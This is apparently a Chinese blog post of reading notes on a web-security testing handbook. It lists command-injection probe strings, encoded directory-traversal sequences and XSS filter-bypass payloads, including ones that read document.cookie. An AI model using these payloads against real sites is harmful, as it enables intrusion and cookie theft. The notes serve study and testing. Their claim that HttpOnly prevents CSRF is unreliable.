logo头像

黑客的本质就是白嫖

《黑客攻防技术宝典 Web实战篇 第二版》读书笔记

本文于 526 天之前发表,文中内容可能已经过时。

HTTP协议的几种方法

GET 用于获取资源
POST 用于执行操作
HEAD 用于查询文档信息而非内容
PUT 上传文件
TRACE 用于调试
OPTIONS返回有效的方法

HTTP头

cookie中的HttpOnly属性,设置后将无法通过客户端的js脚本直接访问cookie,这也是预防CSRF的方法之一

状态码

分为五类:

  • 1xx:提供信息
  • 2xx:请求被成功提交
  • 3xx:客户端被重定向到其他资源
  • 4xx:请求包含某种错误
  • 5xx:服务器执行请求时遇到错误
REST

URL中不包含参数,参数写成请求路径格式

ASP.NET ViewState

ASP.NET平台上的一种用于提高服务器性能的、保存了用户界面信息的状态信息,通常会加密并放在隐藏字段中,通常会加入一个密钥散列来防止篡改

注入操作系统命令

PHP里的exec函数与ASP中的wscript.shell函数可以造成命令注入
常用隔断符:|&;
PHPeval中,可以使用file_get_content(读取文件)和system(执行系统命令)来读取一个服务器上的文件
测试命令注入的方法:(通常使用时间延迟推断)

  • || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &(30s时间延迟)
  • | ping -i 30 127.0.0.1 |
  • | ping -n 30 127.0.0.1 |
  • & ping -i 30 127.0.0.1 &
  • & ping -n 30 127.0.0.1 &
  • ; ping -i 30 127.0.0.1 ;
  • %0a ping -i 30 127.0.0.1 %0a
  • ` ping -i 30 127.0.0.1 1 `
目录遍历

./\
%2e%2f%5c
%u002e%u2215%u2216
%252e%252f%255c
%c0%2e%c0%af%c0%5c
%e0%40%ae%e0%80%af%c0%80%5c
%c0%5c%c0%2f

XSS

XSS中可以使用<base>标签来指定页面中的相对URL引入位置,虽然<base>标签一般情况下需要在<head>标签中,但是某些浏览器中可以在页面的其他位置

绕过:

  • 大小写标签名
  • 在标签中插入NULL字符,如[%00](在这里,[]框起来的表示十六进制ASCII代码的原义字符)
  • 标签名与第一个属性间的空格可以用一些字符替代,如/[%09][%0d][%0a]/"/'/anyjunk/
  • 即使不需要标签属性,在标签后面添加一些多余内容可以避开一些简单的过滤
  • 动态构建:
    • <script>eval('al'+'ert(1)');</script>
    • <script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script>
    • <script>atob('amF2YXNjcmlwdDphbGVydCgxKQ');</script> #javascript:alert(1)

小数点.被过滤时,可以用以下方法来代替:

  • <script>alert(document['cookie'])</script>
  • <script>with(document)alert(cookie)</script>

当用户输入被插入到页面中的多个位置时,可以将JS代码拆分开来分别插入,中间则用注释注释掉

代码审计
  • 从入口点开始审计
  • 审计常出现漏洞的位置
  • 从理清应用逻辑顺序开始

需要仔细审查的功能组件包括:应用程序中的关键安全机制(验证、会话管理、访问控制与任何应用程序范围内的输入确认)、外部组件接口以及任何使用本地代码的情况

源代码注释中可能存在突破点

评论系统未开启,无法评论!